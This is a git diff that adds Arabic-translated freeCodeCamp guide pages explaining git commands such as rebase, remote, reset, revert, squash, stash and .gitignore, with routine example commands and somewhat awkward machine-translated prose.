+                                  \---oo branch 
+` 
+
+### Git rebase تفاعلية في وحدة التحكم
+
+لاستخدام `git rebase` في وحدة التحكم مع قائمة بالالتزامات ، يمكنك اختيار أو تعديل أو إسقاط rebase:
+
+*   أدخل `git rebase -i HEAD~5` مع الرقم الأخير أي عدد من الإلتزامات من أحدث الإصدارات التي تريد مراجعتها.
+*   في vim ، اضغط على `esc` ، ثم `i` لبدء تحرير الاختبار.
+*   على الجانب الأيسر يمكنك الكتابة فوق `pick` واحد من الأوامر أدناه. إذا كنت تريد إسقاط التزام في السابق وتجاهل رسالة الالتزام ، أدخل `f` في مكان `pick` الالتزام.
+
+ `pick 452b159 <message for this commit> 
+ pick 7fd4192 <message for this commit> 
+ pick c1af3e5 <message for this commit> 
+ pick 5f5e8d3 <message for this commit> 
+ pick 5186a9f <message for this commit> 
+ 
+ # Rebase 0617e63..5186a9f onto 0617e63 (30 commands) 
+ # 
+ # Commands: 
+ # p, pick = use commit 
+ # r, reword = use commit, but edit the commit message 
+ # e, edit = use commit, but stop for amending 
+ # s, squash = use commit, but meld into previous commit 
+ # f, fixup = like "squash", but discard this commit's log message 
+ # x, exec = run command (the rest of the line) using shell 
+ # d, drop = remove commit 
+ # 
+ # These lines can be re-ordered; they are executed from top to bottom. 
+ # 
+ # If you remove a line here THAT COMMIT WILL BE LOST. 
+ # 
+ # However, if you remove everything, the rebase will be aborted. 
+ # 
+ # Note that empty commits are commented out 
+` 
+
+*   أدخل `esc` متبوعة `:wq` .
+*   إذا تم إعادة تعيينها بنجاح ، فستحتاج إلى فرض التغييرات على `git push -f` باستخدام `git push -f` لإضافة الإصدار المعاد توجيهه إلى repub github.
+*   إذا كان هناك تعارض دمج ، فهناك عدد من الطرق لإصلاح هذا ، بما في ذلك اتباع الاقتراحات الواردة في [هذا الدليل](https://help.github.com/enterprise/2.11/user/articles/resolving-a-merge-conflict-using-the-command-line/) . إحدى الطرق هي فتح الملفات في محرر نصي وحذف أجزاء من الرمز الذي لا تريده. ثم استخدم `git add <file name>` متبوعًا `git rebase --continue` . يمكنك تخطي الالتزام المتضارب بإدخال `git rebase --skip` ، الخروج من git rebase بإدخال `git rebase --abort` في وحدة التحكم الخاصة بك.
+
+### معلومات اكثر:
+
+*   [وثائق جيت: rebase](https://git-scm.com/docs/git-rebase)
+*   [Thoughbot دليل تفاعلي ل git rebase](https://robots.thoughtbot.com/git-interactive-rebase-squash-amend-rewriting-history)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-remote/index.md b/client/src/guide/arabic/git/git-remote/index.md
new file mode 100644
index 0000000000..42e0985c02
--- /dev/null
+++ b/client/src/guide/arabic/git/git-remote/index.md
@@ -0,0 +1,61 @@
+---
+title: Git Remote
+localeTitle: غيت عن بعد
+---
+## غيت عن بعد
+
+يسمح لك الأمر `git remote` بإدارة مستودعات Git عن بعد. المستودعات عن بعد هي مراجع لمستودعات Git الأخرى التي تعمل على نفس مصدر الكود.
+
+تستطيع [أسحب من](https://guide.freecodecamp.org/git/git-pull/) و [يدفع الى](https://guide.freecodecamp.org/git/git-push/) المستودعات عن بعد.
+
+يمكنك الدفع أو السحب إلى عنوان URL لبروتوكول HTTPS ، مثل `https://github.com/user/repo.git` أو عنوان URL لـ SSH ، مثل `git@github.com:user/repo.git` .
+
+لا تقلق ، في كل مرة تدفع فيها شيئًا ، لن تحتاج إلى كتابة عنوان URL بأكمله. تربط Git بعنوان URL بعيدًا باسم ، والاسم الذي يستخدمه معظم الأشخاص هو `origin` .
+
+### قائمة جميع مستودعات بعيد تكوينها
+
+ `git remote -v 
+` 
+
+يسرد هذا الأمر جميع المستودعات البعيدة بجانب موقعها.
+
+يشار إلى المستودعات عن بعد بالاسم. وكما ذكر أعلاه ، فإن المستودع الرئيسي لمشروع ما يطلق عليه عادة `origin` .
+
+عندما تستخدمها [استنساخ git](https://guide.freecodecamp.org/git/git-clone/) للحصول على نسخة من مستودع ، تقوم Git بإعداد الموقع _الأصلي_ كمستودع بعيد _للأصل_ .
+
+### إضافة مستودع عن بعد
+
+لإضافة مستودع تخزين عن بعد إلى مشروعك ، يمكنك تشغيل الأمر التالي:
+
+ `git remote add REMOTE-NAME REMOTE-URL 
+` 
+
+يمكن أن يكون `REMOTE-URL` إما HTTPS أو SSH. يمكنك العثور على عنوان URL على GitHub بالنقر على القائمة المنسدلة "نسخ أو تنزيل" في المستودع.
+
+على سبيل المثال ، إذا كنت ترغب في إضافة مستودع تخزين بعيد ووصفه `example` ، فيمكنك تشغيل:
+
+ `git remote add example https://example.org/my-repo.git 
+` 
+
+### تحديث عنوان URL بعيد
+
+إذا تغير عنوان URL لمستودع تخزين عن بعد ، فيمكنك تحديثه باستخدام الأمر التالي ، حيث `example` هو اسم جهاز التحكم عن بعد:
+
+ `git remote set-url example https://example.org/my-new-repo.git 
+` 
+
+### حذف أجهزة التحكم عن بعد
+
+يتم حذف أجهزة التحكم عن بعد مثل:
+
+ `git remote rm REMOTE-NAME 
+` 
+
+يمكنك التأكد من اختفاء جهاز التحكم عن بعد من خلال عرض قائمة أجهزة التحكم عن بعد الموجودة لديك:
+
+ `git remote -v 
+` 
+
+### معلومات اكثر:
+
+*   [Git الوثائق عن بعد](https://git-scm.com/book/en/v2/Git-Basics-Working-with-Remotes)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-reset/index.md b/client/src/guide/arabic/git/git-reset/index.md
new file mode 100644
index 0000000000..1f6f6e5284
--- /dev/null
+++ b/client/src/guide/arabic/git/git-reset/index.md
@@ -0,0 +1,42 @@
+---
+title: Git Reset
+localeTitle: غيت ريسيت
+---
+## غيت ريسيت
+
+يسمح لك الأمر `git reset` رأسك الحالي إلى حالة محددة. يمكنك إعادة تعيين حالة ملفات محددة بالإضافة إلى فرع بأكمله.
+
+### إعادة تعيين ملف أو مجموعة من الملفات
+
+يتيح لك الأمر التالي اختيار أجزاء من المحتوى بشكل انتقائي والعودة أو إلغاء تثبيتها.
+
+ `git reset (--patch | -p) [tree-ish] [--] [paths] 
+` 
+
+### قم بإلغاء تثبيت ملف
+
+إذا قمت بنقل ملف إلى منطقة التدريج مع `git add` ، ولكن لم تعد ترغب في أن يكون جزءًا من التزام ، يمكنك استخدام `git reset` لإلغاء تثبيت هذا الملف:
+
+ `git reset HEAD FILE-TO-UNSTAGE 
+` 
+
+ستظل التغييرات التي أجريتها في الملف ، وهذا الأمر يزيل فقط هذا الملف من منطقة التدريج الخاصة بك.
+
+### إعادة تعيين فرع إلى ارتكاب مسبق
+
+يقوم الأمر التالي بإعادة تعيين HEAD الفرع الحالي الخاص بك إلى `COMMIT` المعطى ويقوم بتحديث الفهرس. إنها ترجع بشكل أساسي حالة فرعك ، ثم تلتزم جميعًا بالتقدم في الكتابة على أي شيء جاء بعد نقطة إعادة التعيين. إذا حذفت الدالة `MODE` ، `--mixed` الافتراضي لها - `--mixed` :
+
+ `git reset MODE COMMIT 
+` 
+
+الخيارات الخاصة بـ `MODE` هي:
+
+*   `--soft` : لا يعيد ضبط ملف الفهرس أو شجرة العمل ، بل يعيد تعيين الرأس `commit` . يغير جميع الملفات إلى "التغييرات يجب الالتزام بها"
+*   `--mixed` : إعادة تعيين الفهرس ولكن ليس شجرة العمل والتقارير ما لم يتم تحديثه
+*   `--hard` : يعيد ضبط المؤشر وشجرة العمل. يتم تجاهل أي تغييرات على الملفات المتعقبة في شجرة العمل منذ `commit`
+*   `--merge` : إعادة تعيين الفهرس وتحديث الملفات في شجرة العمل التي تختلف بين `commit` و HEAD ، ولكنها تحافظ على تلك التي تختلف بين الفهرس والشجرة العاملة
+*   `--keep` : إعادة تعيين إدخالات الفهرس وتحديث الملفات في شجرة العمل التي تختلف بين `commit` و HEAD. إذا كان الملف المختلف بين `commit` و HEAD له تغييرات محلية ، يتم إحباط عملية إعادة التعيين
+
+### معلومات اكثر:
+
+*   [وثائق إعادة Git](https://git-scm.com/docs/git-reset)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-revert/index.md b/client/src/guide/arabic/git/git-revert/index.md
new file mode 100644
index 0000000000..6435cfb5f5
--- /dev/null
+++ b/client/src/guide/arabic/git/git-revert/index.md
@@ -0,0 +1,67 @@
+---
+title: Git Revert
+localeTitle: Git Revert
+---
+## Git Revert
+
+الأمر `git revert` revert يلغي الالتزام ، ولكن بخلاف `git reset` ، التي تزيل الالتزام من تاريخ الالتزام ، فإنها تلحق التزامًا جديدًا بالمحتوى الناتج. هذا يمنع Git من فقدان التاريخ ، وهو أمر مهم لسلامة سجل النُسخ السابقة وللتعاون الموثوق به. عندما تعمل على مستودع مع مطورين آخرين ، يكون استخدام `git reset` خطيراً للغاية لأنك تقوم بتغيير تاريخ الإلتزامات مما يجعل من الصعب جدًا الحفاظ على تاريخ ثابت للالتزامات مع مطورين آخرين.
+
+### خيارات مشتركة
+
+1.) هذا هو خيار افتراضي ولا يحتاج إلى تحديد. سيؤدي هذا الخيار إلى فتح محرر النظام المكوّن ويطالبك بتحرير رسالة الالتزام قبل ارتكاب الإعادة.
+
+ `  -e 
+  --edit 
+` 
+
+2.) هذا هو معكوس الخيار -e. لن `revert` إعادة المحرر.
+
+ `  --no-edit 
+` 
+
+3.) يؤدي تمرير هذا الخيار إلى منع `git revert` من `git revert` عن إنشاء التزام جديد يلغي الالتزام المستهدف. بدلاً من إنشاء الالتزام الجديد ، سيضيف هذا الخيار التغييرات العكسيّة إلى فهرس التدريج ودليل العمل.
+
+ `  -n 
+  --no-edit 
+` 
+
+### مثال.
+
+دعونا نتخيل الوضع التالي. 1.) أنت تعمل على ملف وتضيف وتلتزم بالتغييرات. 2.) ثم تعمل على بعض الأشياء الأخرى ، وجعل بعض أكثر تلتزم. 3.) الآن أنت تدرك ، ثلاث أو أربع مرات مضت ، فعلت شيئًا ترغب في التراجع عنه - كيف يمكنك فعل هذا؟
+
+قد تفكر ، فقط استخدم `git reset` ، لكن هذا سيزيل كل الإلتزامات بعد الشخص الذي تود تغييره - `git revert` إلى الإنقاذ! دعونا نسير في هذا المثال:
+
+ ``mkdir learn_revert # Create a folder called `learn_revert` 
+ cd learn_revert # `cd` into the folder `learn_revert` 
+ git init # Initialize a git repository 
+ 
+ touch first.txt # Create a file called `first.txt` 
+ echo Start >> first.txt # Add the text "Start" to `first.txt` 
+ 
+ git add . # Add the `first.txt` file 
+ git commit -m "adding first" # Commit with the message "Adding first.txt" 
+ 
+ echo WRONG > wrong.txt # Add the text "WRONG" to `wrong.txt` 
+ git add . # Add the `wrong.txt` file 
+ git commit -m "adding WRONG to wrong.txt" # Commit with the message "Adding WRONG to wrong.txt" 
+ 
+ echo More >> first.txt # Add the text "More" to `first.txt` 
+ git add . # Add the `first.txt` file 
+ git commit -m "adding More to first.txt" # Commit with the message "Adding More to first.txt" 
+ 
+ echo Even More >> first.txt # Add the text "Even More" to `first.txt` 
+ git add . # Add the `first.txt` file 
+ git commit -m "adding Even More to First.txt" # Commit with the message "Adding More to first.txt" 
+ 
+ # OH NO! We want to undo the commit with the text "WRONG" - let's revert! Since this commit was 2 from where we are not we can use git revert HEAD~2 (or we can use git log and find the SHA of that commit) 
+ 
+ git revert HEAD~2 # this will put us in a text editor where we can modify the commit message. 
+ 
+ ls # wrong.txt is not there any more! 
+ git log --oneline # note that the commit history hasn't been altered, we've just added a new commit reflecting the removal of the `wrong.txt` 
+`` 
+
+#### معلومات اكثر:
+
+*   [Git التراجع الوثائق](https://git-scm.com/docs/git-revert)
+*   [Git revert البرنامج التعليمي التفاعلي](https://www.atlassian.com/git/tutorials/undoing-changes/git-revert)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-show/index.md b/client/src/guide/arabic/git/git-show/index.md
new file mode 100644
index 0000000000..e45bcc5186
--- /dev/null
+++ b/client/src/guide/arabic/git/git-show/index.md
@@ -0,0 +1,57 @@
+
+---
+title: Git Show
+localeTitle: undefined
+---
+## إظهار بوابة
+
+يُعد `git show` أمرًا مفيدًا يمكنك من مشاهدة عرض مفصل لكائن معين (التهم والعلامات والنقط والأشجار).
+
+بناء جملة هذا الأمر هو كما يلي:
+
+ `git show [<options>] [<object>…​] 
+` 
+
+لكائنات مختلفة بوابة `git show` يعطي مخرجات مختلفة.
+
+*   يلتزم بعرض رسالة سجل الالتزام مع اختلاف التغييرات التي تم الالتزام بها.
+*   بالنسبة للعلامات ، فإنه يعرض رسالة العلامات والكائنات المشار إليها.
+*   للأشجار ، فإنه يظهر الأسماء
+*   للنقط العادي ، فإنه يدل على محتويات عادي
+
+الاستخدام الأكثر شيوعًا لـ `git show` سيكون بالاشتراك مع كائن git commit
+
+ `git show 3357d63 
+` 
+
+ستحصل على إنتاج مشابه لـ ،
+
+ ``commit 3357d63d8f44104940e568a1ba89fa88a16dc753 
+ Author: John Doe <johndoe@acme.com> 
+ Date:   Tue Oct 2 00:57:38 2018 +0530 
+ 
+    add a section on git commit --amend --author 
+ 
+ diff --git a/src/pages/git/git-commit/index.md b/src/pages/git/git-commit/index.md 
+ index fc9f568..8f1c8eb 100644 
+ --- a/src/pages/git/git-commit/index.md 
+ +++ b/src/pages/git/git-commit/index.md 
+ @@ -73,5 +73,11 @@ Premature commits happen all the time in the course of your day-to-day developme 
+ 
+ Amended commits are actually entirely new commits and the previous commit will no longer be on your current branch. When you're working with others, you should try to avoid amending commits if the last commit is already pushed into the repository. 
+ 
+ +With `--amend`, one of the useful flag you could use is `--author` which enables you to change the author of the last commit you've made. Imagine a situation you haven't properly set up your name or email in git configurations but you already made a commit. With `--author` flag you can simply change them without resetting the last commit. 
+ + 
+ +``` 
+ +git commit --amend --author="John Doe <johndoe@email.com>" 
+ +``` 
+ + 
+ ### More Information: 
+ - Git documentation: [commit](https://git-scm.com/docs/git-commit) 
+`` 
+
+يمكنك فقط استخدام `git show` وعرض محتوى أحدث إلتزامات git.
+
+### معلومات اكثر:
+
+*   [وثائق جيت - تظهر](https://git-scm.com/docs/git-show)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-squash/index.md b/client/src/guide/arabic/git/git-squash/index.md
new file mode 100644
index 0000000000..12aeb45a46
--- /dev/null
+++ b/client/src/guide/arabic/git/git-squash/index.md
@@ -0,0 +1,87 @@
+---
+title: Git Squash
+localeTitle: جيت سكواش
+---
+## جيت سكواش
+
+أحد الأشياء التي يسمعها مطورو البرامج في كثير من الأحيان بخصوص طلبات السحب الخاصة بهم هو شيء مثل "يبدو ذلك جيدًا بالنسبة إليّ ، يُرجى الإسكار والدمج". الجزء الممتع هو أنه لا يوجد مثل هذا الأمر مثل `git squash` (إلا إذا قمت بإنشاء [اسم مستعار](https://guide.freecodecamp.org/git/git-rebase) لها). إن طلب سحب `squash` يعني عادةً ضغط كل الإلتزامات في هذا الطلب إلى واحد (نادراً إلى رقم آخر) لجعله أكثر إيجازًا وقابلاً للقراءة وليس لتلوث تاريخ الفرع الرئيسي. لتحقيق هذا المطور يحتاج إلى استخدام **الوضع التفاعلي** لأمر [Git Rebase](https://guide.freecodecamp.org/git/git-rebase) .
+
+في كثير من الأحيان عندما تقوم بتطوير بعض الميزات الجديدة ينتهي بك الأمر مع العديد من الإلتزامات المتقطعة في تاريخك - تتطور بشكل تدريجي بعد كل شيء. قد يكون هذا مجرد بعض الأخطاء المطبعية أو الخطوات إلى الحل النهائي. في معظم الأوقات ، لا يكون هناك أي استخدام في وضع كل هذه الإلتزامات في النسخة العامة النهائية من الكود ، لذلك من الأفضل أن يتم دمجها كلها في واحد ، واحد ، وآخر نهائي.
+
+لذلك لنفترض أنك قمت باتباع سجل الإلتزام في الفرع الذي تريد دمجه كجزء من طلب السحب:
+
+ `$ git log --pretty=oneline --abbrev-commit 
+ 30374054 Add Jupyter Notebook stub to Data Science Tools 
+ 8490f5fc Minor formatting and Punctuation changes 
+ 3233cb21 Prototype for Notebook page 
+` 
+
+من الواضح أننا نفضل أن يكون هناك التزام واحد هنا ، حيث أنه لا فائدة من معرفة ما بدأناه في الكتابة وما هي الأخطاء التي حددناها في وقت لاحق ، فإن النتيجة النهائية هي فقط ذات أهمية.
+
+إذن ما نفعله هو بدء جلسة rebase تفاعلية من **HEAD** الحالي (ارتكبت **30374054** ) لارتكاب **3233cb21** ، مع نية الجمع بين **3** آخر التزام في واحد:
+
+ `$ git rebase -i HEAD~3 
+` 
+
+سيؤدي ذلك إلى فتح محرر يحتوي على ما يلي:
+
+ `pick 3233cb21 Prototype for Notebook page 
+ pick 8490f5fc Minor formatting and Punctuation changes 
+ pick 30374054 Add Jupyter Notebook to Data Science Tools 
+ # Rebase 
+ # 
+ # Commands: 
+ #  p, pick = use commit 
+ #  r, reword = use commit, but edit the commit message 
+ #  e, edit = use commit, but stop for amending 
+ #  s, squash = use commit, but meld into previous commit 
+ #  f, fixup = like "squash", but discard this commit's log message 
+ #  x, exec = run command (the rest of the line) using shell 
+ # 
+ # These lines can be re-ordered; they are executed from top to bottom. 
+ # 
+ # If you remove a line here THAT COMMIT WILL BE LOST. 
+ # 
+ # However, if you remove everything, the rebase will be aborted. 
+ # 
+ # Note that empty commits are commented out 
+` 
+
+كما هو الحال دائمًا ، تقدم لنا Git رسالة مساعدة لطيفة للغاية حيث يمكنك رؤية خيار `squash` هذا الذي نبحث عنه.
+
+حاليا تعليمات لrebase التفاعلية وتقول ل `pick` كل المحدد ارتكاب **والحفاظ** على المقابلة ارتكاب الرسالة. هذا هو - لا تغير أي شيء. لكننا نريد أن يكون لدينا التزام واحد فقط في النهاية. ببساطة قم بتحرير النص في محرر يمكنك استبدال `pick` مع `squash` (أو فقط `s` ) بجانب كل التزام نرغب في التخلص منه وحفظ / الخروج من المحرر. قد يبدو هذا كما يلي:
+
+ `s 3233cb21 Prototype for Notebook page 
+ s 8490f5fc Minor formatting and Punctuation changes 
+ pick 30374054 Add Jupyter Notebook to Data Science Tools 
+` 
+
+عند إغلاق المحرر بحفظ هذه التغييرات ، سيتم إعادة فتحه على الفور ، مما يشير إلى اختيار رسائل الالتزام وإعادة صياغتها. شيء مثل
+
+ `# This is a combination of 3 commits. 
+ # The first commit's message is: 
+ Prototype for Notebook page 
+ 
+ # This is the 2nd commit message: 
+ 
+ Minor formatting and Punctuation changes 
+ 
+ # This is the 3rd commit message: 
+ 
+ Add Jupyter Notebook to Data Science Tools 
+ 
+ # Please enter the commit message for your changes. Lines starting 
+ # with '#' will be ignored, and an empty message aborts the commit. 
+` 
+
+في هذه المرحلة ، يمكنك حذف جميع الرسائل التي لا تريد تضمينها في نسخة الالتزام النهائية ، أو إعادة كتابتها أو مجرد كتابة رسالة التزام من نقطة الصفر. فقط تذكر أن الإصدار الجديد سيشتمل على جميع الأسطر التي لا تبدأ بحرف `#` . مرة أخرى ، قم بحفظ محررك والخروج منه.
+
+يجب أن تعرض الوحدة الطرفية الخاصة بك الآن رسالة نجاح تتضمن `Successfully rebased and updated <branch name>` ويجب أن يُظهر سجل git محفوظات لطيفة مضغوطة مع التزام واحد فقط. لقد اختفت جميع الالتزامات الوسيطة ، ونحن على استعداد للاندماج!
+
+### تحذير حول عدم تطابق التاريخ التزامن المحلية والبعيدة
+
+هذه العملية خطيرة بعض الشيء إذا كان لديك فرع منشورة بالفعل في مستودع عن بعد - فأنت تقوم بتعديل سجل الالتزام بعد كل شيء. لذلك من الأفضل أن تقوم بعملية السكواش في الفرع المحلي قبل أن **تدفع** . في بعض الأحيان ، سيتم دفعه بالفعل - كيف يمكنك إنشاء طلب سحب بعد كل شيء؟ في هذه الحالة ، سيكون عليك **فرض** التغييرات على الفرع البعيد بعد إجراء عملية الضرب ، نظرًا لأن السجل المحلي والسجل الفرعي في مستودع التخزين البعيد مختلفان:
+
+`shell $ git push origin +my-branch-name`
+
+ابذل قصارى جهدك للتأكد من أنك الشخص الوحيد الذي يستخدم هذا الفرع البعيد في هذه المرحلة ، أو ستجعل حياتك أكثر صعوبة في عدم تطابق التاريخ. ولكن بما أن عملية **السحق** تتم عادة كعملية نهائية على فرع قبل التخلص منه ، فعادةً ما لا تكون كبيرة على القلق.
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-stash/index.md b/client/src/guide/arabic/git/git-stash/index.md
new file mode 100644
index 0000000000..c534b20e68
--- /dev/null
+++ b/client/src/guide/arabic/git/git-stash/index.md
@@ -0,0 +1,69 @@
+---
+title: Git Stash
+localeTitle: جيت ستاش
+---
+## جيت ستاش
+
+تحتوي Git على منطقة تسمى Stash حيث يمكنك تخزين لقطة من التغييرات مؤقتًا دون إلزامها بالمستودع. إنه منفصل عن دليل العمل أو ناحية التدريج أو المستودع.
+
+هذه الوظيفة مفيدة عندما قمت بإجراء تغييرات على فرع لست مستعدًا للالتزام به ، ولكنك تحتاج إلى التبديل إلى فرع آخر.
+
+### خبأ التغييرات
+
+لحفظ تغييراتك في المخبأ ، شغّل الأمر:
+
+ `git stash save "optional message for yourself" 
+` 
+
+هذا يحفظ التغييرات الخاصة بك ويعيد دليل العمل إلى ما بدا لأحدث الالتزام. تتوفر التغييرات المحززة من أي فرع في هذا المستودع.
+
+لاحظ أن التغييرات التي ترغب في تخزينها يجب أن تكون على ملفات متتبعة. إذا أنشأت ملفًا جديدًا وحاولت أن تخمد تغييراتك ، فقد تحصل على الخطأ `No local changes to save` .
+
+### عرض التغييرات Stashed
+
+لمعرفة ما يوجد في خبأتك ، شغّل الأمر:
+
+ `git stash list 
+` 
+
+يؤدي هذا إلى إرجاع قائمة من اللقطات المحفوظة الخاصة بك بتنسيق الصيغة `stash@{0}: BRANCH-STASHED-CHANGES-ARE-FOR: MESSAGE` . الجزء `stash@{0}` هو اسم المخبأ ، والرقم الموجود في الأقواس المتعرجة ( `{ }` ) هو فهرس ذلك المخبأ. إذا كانت لديك مجموعات تغيير متعددة مخزنة ، فسيكون لكل مجموعة فهرس مختلف.
+
+إذا نسيت التغييرات التي تم إجراؤها في المخبأ ، فيمكنك الاطلاع على ملخص لها باستخدام `git stash show NAME-OF-STASH` . إذا كنت ترغب في رؤية تخطيط تصحيح نمط diff النموذجية (مع + و s الخاص بالتغييرات سطر - بواسطة - خط) ، يمكنك تضمين الخيار `-p` (من أجل التصحيح). إليك مثال على ذلك:
+
+ `git stash show -p stash@{0} 
+ 
+ # Example result: 
+ diff --git a/PathToFile/fileA b/PathToFile/fileA 
+ index 2417dd9..b2c9092 100644 
+ --- a/PathToFile/fileA 
+ +++ b/PathToFile/fileA 
+ @@ -1,4 +1,4 @@ 
+ -What this line looks like on branch 
+ +What this line looks like with stashed changes 
+` 
+
+### استرداد التغييرات الثابتة
+
+لاسترداد التغييرات خارج المخزن وتطبيقها على الفرع الحالي الذي أنت فيه ، لديك خياران:
+
+1.  `git stash apply STASH-NAME` التغييرات ويترك نسخة في المخبأ
+2.  `git stash pop STASH-NAME` يطبق التغييرات ويزيل الملفات من المخبأ
+
+قد يكون هناك تعارضات عند تطبيق التغييرات. يمكنك حل التعارضات المشابهة للدمج ( [راجع دمج Git للحصول على التفاصيل](https://guide.freecodecamp.org/git/git-merge/) ).
+
+### حذف التغييرات الثابتة
+
+إذا كنت تريد إزالة التغييرات المظللة دون تطبيقها ، فقم بتشغيل الأمر:
+
+ `git stash drop STASH-NAME 
+` 
+
+لمسح المخبأ بالكامل ، قم بتشغيل الأمر:
+
+ `git stash clear 
+` 
+
+### معلومات اكثر:
+
+*   الأمر `git merge` : [fCC Guide](https://guide.freecodecamp.org/git/git-merge/)
+*   وثائق جيت: [خبأ](https://git-scm.com/docs/git-stash)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-status/index.md b/client/src/guide/arabic/git/git-status/index.md
new file mode 100644
index 0000000000..47ff01e9f3
--- /dev/null
+++ b/client/src/guide/arabic/git/git-status/index.md
@@ -0,0 +1,16 @@
+---
+title: Git Status
+localeTitle: حالة Git
+---
+## حالة Git
+
+تعرض أوامر `git status` دليل العمل ومنطقة التدريج. يعرض المسارات التي تحتوي على اختلافات بين ملف `index` والتنفيذ الحالي لـ `HEAD` ، والمسارات التي تحتوي على اختلافات بين شجرة العمل وملف `index` ، والمسارات في شجرة العمل التي لا يتم تتبعها بواسطة Git (ولا يتم تجاهلها بواسطة [gitignore](https://git-scm.com/docs/gitignore)
+
+لا يظهر لك الأمر `git status` أي معلومات تتعلق بتاريخ المشروع الملتزم. لهذا ، تحتاج إلى استخدام `git log` .
+
+### استعمال
+
+ `git status 
+` 
+
+قائمة الملفات التي يتم تنظيمها بدون ترتيب أو عدم تعقب.
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-verifying-commits/index.md b/client/src/guide/arabic/git/git-verifying-commits/index.md
new file mode 100644
index 0000000000..34a053f320
--- /dev/null
+++ b/client/src/guide/arabic/git/git-verifying-commits/index.md
@@ -0,0 +1,19 @@
+---
+title: Git Verifying Commits
+localeTitle: تحقق من الالتزام
+---
+## تحقق من الالتزام
+
+عندما تقوم ببناء برامج مع أشخاص من جميع أنحاء العالم ، من المهم في بعض الأحيان التحقق من أن هذه الإلتزامات والعلامات تأتي من مصدر محدد. Git يدعم توقيع التعهدات والعلامات مع GPG. يظهر GitHub عند توقيع الالتزام والعلامات.
+
+![التحقق من الالتزام](https://cloud.githubusercontent.com/assets/25792/14253743/87b504be-fa41-11e5-9140-6dc8b7203c31.png)
+
+عندما تقوم بعرض التزام أو علامة موقعة ، سترى شارة تشير إلى ما إذا كان يمكن التحقق من التوقيع باستخدام أي من مفاتيح GPG للمساهمة التي تم تحميلها إلى GitHub. يمكنك تحميل مفاتيح GPG الخاصة بك عن طريق زيارة صفحة إعدادات المفاتيح.
+
+تريد العديد من المشاريع والشركات المفتوحة المصدر التأكد من أن الالتزام من مصدر تم التحقق منه. يسهّل التحقق من توقيع GPG على الإلتزامات والعلامات عندما يتم توقيع التزام أو علامة بواسطة مفتاح تم التحقق منه يعرفه GitHub.
+
+![التحقق من التوقيع](https://cloud.githubusercontent.com/assets/25792/14290042/5b27dab2-fb12-11e5-9ff9-44116a7780ea.png)
+
+### معلومات اكثر:
+
+*   [توقيع عملك](https://git-scm.com/book/en/v2/Git-Tools-Signing-Your-Work)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/gitignore/index.md b/client/src/guide/arabic/git/gitignore/index.md
new file mode 100644
index 0000000000..4e5469d168
--- /dev/null
+++ b/client/src/guide/arabic/git/gitignore/index.md
@@ -0,0 +1,48 @@
+---
+title: Gitignore
+localeTitle: .gitignore
+---
+## Gitignore
+
+ملف `.gitignore` هو ملف نصي يخبر Git بالملفات أو المجلدات التي يجب تجاهلها في المشروع.
+
+عادة ما يتم وضع ملف `.gitignore` محلي في الدليل الجذر للمشروع. يمكنك أيضًا إنشاء ملف `.gitignore` عالمي وسيتم تجاهل أي إدخالات في هذا الملف في جميع مستودعات Git الخاصة بك.
+
+لإنشاء المحلي `.gitignore` الملف، إنشاء ملف نصي وتسميته `.gitignore` (تذكر لتشمل `.` في البداية). ثم قم بتحرير هذا الملف حسب الحاجة. يجب أن يسرد كل سطر جديد ملفًا أو مجلدًا إضافيًا تريد أن يتجاهله Git.
+
+يمكن أن تتبع الإدخالات في هذا الملف أيضًا نمط تطابق.
+
+*   `*` يستخدم كمباراة بدل
+*   `/` يتم استخدامه لتجاهل أسماء `.gitignore` بملف `.gitignore`
+*   `#` يستخدم لإضافة تعليقات إلى ملف `.gitignore`
+
+هذا مثال لما قد يبدو عليه ملف `.gitignore` :
+
+ `# Ignore Mac system files 
+ .DS_store 
+ 
+ # Ignore node_modules folder 
+ node_modules 
+ 
+ # Ignore all text files 
+ *.txt 
+ 
+ # Ignore files related to API keys 
+ .env 
+ 
+ # Ignore SASS config files 
+ .sass-cache 
+` 
+
+لإضافة أو تغيير ملف .gitignore العام ، قم بتشغيل الأمر التالي:
+
+ `git config --global core.excludesfile ~/.gitignore_global 
+` 
+
+سيؤدي ذلك إلى إنشاء الملف `~/.gitignore_global` . الآن يمكنك تحرير هذا الملف بنفس طريقة ملف `.gitignore` المحلي. ستتجاهل جميع مستودعات Git الملفات والمجلدات المدرجة في ملف `.gitignore` .
+
+### معلومات اكثر:
+
+*   وثائق جيت: [gitignore](https://git-scm.com/docs/gitignore)
+*   تجاهل الملفات: [جيثب](https://help.github.com/articles/ignoring-files/)
+*   قوالب `.gitignore` مفيدة: [جيثب](https://github.com/github/gitignore)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/gui-options/index.md b/client/src/guide/arabic/git/gui-options/index.md
new file mode 100644
index 0000000000..ac13022219
--- /dev/null
+++ b/client/src/guide/arabic/git/gui-options/index.md
@@ -0,0 +1,16 @@
+---
+title: GUI Options
+localeTitle: خيارات واجهة المستخدم الرسومية
+---
+## GUI Options for Git
+
+معظم الناس يفضلون استخدام أداة Git [كواجهة (واجهة سطر الأوامر)](https://en.wikipedia.org/wiki/Command-line_interface) ، لكن هناك الكثير من أدوات [واجهة المستخدم الرسومية (الرسومية)](https://en.wikipedia.org/wiki/Graphical_user_interface) التي تسمح لك باستخدام Git بطريقة رسومية. يمكن أن تكون أدوات GUI مفيدة للحصول على عرض أفضل لحالة مستودع Git الخاص بك ، وقد يجد البعض أنها أسهل في الاستخدام من CLI. ومع ذلك ، فإن معرفة كيفية استخدام واجهة سطر الأوامر (CLI) موصى بها بشدة لأنها ستكون نفس الواجهة على كل منصة ، لأنها تعتبر بشكل عام أكثر كفاءة ، ولأنها مطلوبة بمجرد أن تقوم بعمل شيء حتى معقد قليلاً .
+
+## قائمة حلول Git GUI
+
+*   [GitKraken](https://www.gitkraken.com) هو Git GUI [المشهور](https://www.gitkraken.com) في Windows و Mac و Linux. وهي ملكية خاصة ولكنها مجانية للاستخدام غير التجاري.
